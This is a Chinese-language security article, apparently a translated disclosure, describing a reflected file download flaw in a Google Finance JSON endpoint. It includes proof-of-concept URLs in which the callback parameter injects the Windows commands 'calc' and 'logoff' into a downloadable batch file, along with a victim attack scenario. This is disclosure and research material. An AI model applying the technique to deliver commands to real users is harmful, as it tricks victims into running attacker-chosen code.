一位葡萄牙的网络安全专家David Sopas发现了影响Google财经的一个反射文件下载(RFD)漏洞。
我在审计其他客户端的时候发现了这个漏洞,通过RFD,你无需建立页面来强制下载。这个Google JSON文件的请求已经替我们做到了。
发现漏洞
我发现这个请求:
http://www.google.com/finance/info?q=ELI:ALTR&callback=?
会返回如下的信息:
// [
{
"id": "703655"
,"t" : "ALTR"
,"e" : "ELI"
,"l" : "4.71"
,"l_fix" : "4.71"
,"l_cur" : "€4.71"
,"s": "0"
,"ltt":"5:35PM GMT+1"
,"lt" : "Dec 15, 5:35PM GMT+1"
,"lt_dts" : "2015-12-15T17:35:40Z"
,"c" : "+0.31"
,"c_fix" : "0.31"
,"cp" : "7.14"
,"cp_fix" : "7.14"
,"ccol" : "chg"
,"pcls_fix" : "4.396"
}
]
然后我就好奇,回调参数能不能伪造呢。所以我就在请求时加入了“calc”:
http://www.google.com/finance/info?q=ELI:ALTR&callback=calc
然后返回的信息如下:
//
calc([
{
"id": "703655"
,"t" : "ALTR"
,"e" : "ELI"
,"l" : "4.71"
,"l_fix" : "4.71"
,"l_cur" : "€4.71"
,"s": "0"
,"ltt":"5:35PM GMT+1"
,"lt" : "Dec 15, 5:35PM GMT+1"
,"lt_dts" : "2015-12-15T17:35:40Z"
,"c" : "+0.31"
,"c_fix" : "0.31"
,"cp" : "7.14"
,"cp_fix" : "7.14"
,"ccol" : "chg"
,"pcls_fix" : "4.396"
}
]
);
妥了!我把Windows命令注入到XHR请求中了。我们来看看这个URL可不可行:
http://www.google.com/finance/info;setup.bat?q=ELI:ALTR&callback=calc
然后我就收到了自动弹出批处理文件下载窗口的URL。
我尝试了一下这些浏览器,发现都是可行的:
Firefox最新版本
Opera 最新版本
Internet Explorer 8和9
使用限制
我注意到测试时,大部分的字符都经过过滤,所以你只能用一个命令,不能有空格或者参数。
PoC:
http://www.google.com/finance/info;setup.bat?q=ELI:ALTR&callback=calc
[批处理执行时会打开计算器]
http://www.google.com/finance/info;setup.bat?q=ELI:ALTR&callback=logoff
[批处理执行时windows会注销]
攻击场景:
攻击者把URL发给受害者:http://www.google.com/finance/info;setup.bat?q=ELI:ALTR&callback=logoff
受害者下载并执行文件
批处理执行后受害者就会被注销出操作系统
Google认为这个问题不大,没有安全影响,但David Sopas不那么认为。目前这个RFD漏洞尚未被修复。
* 参考来源:David Sopas,vulture翻译,文章有修改,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)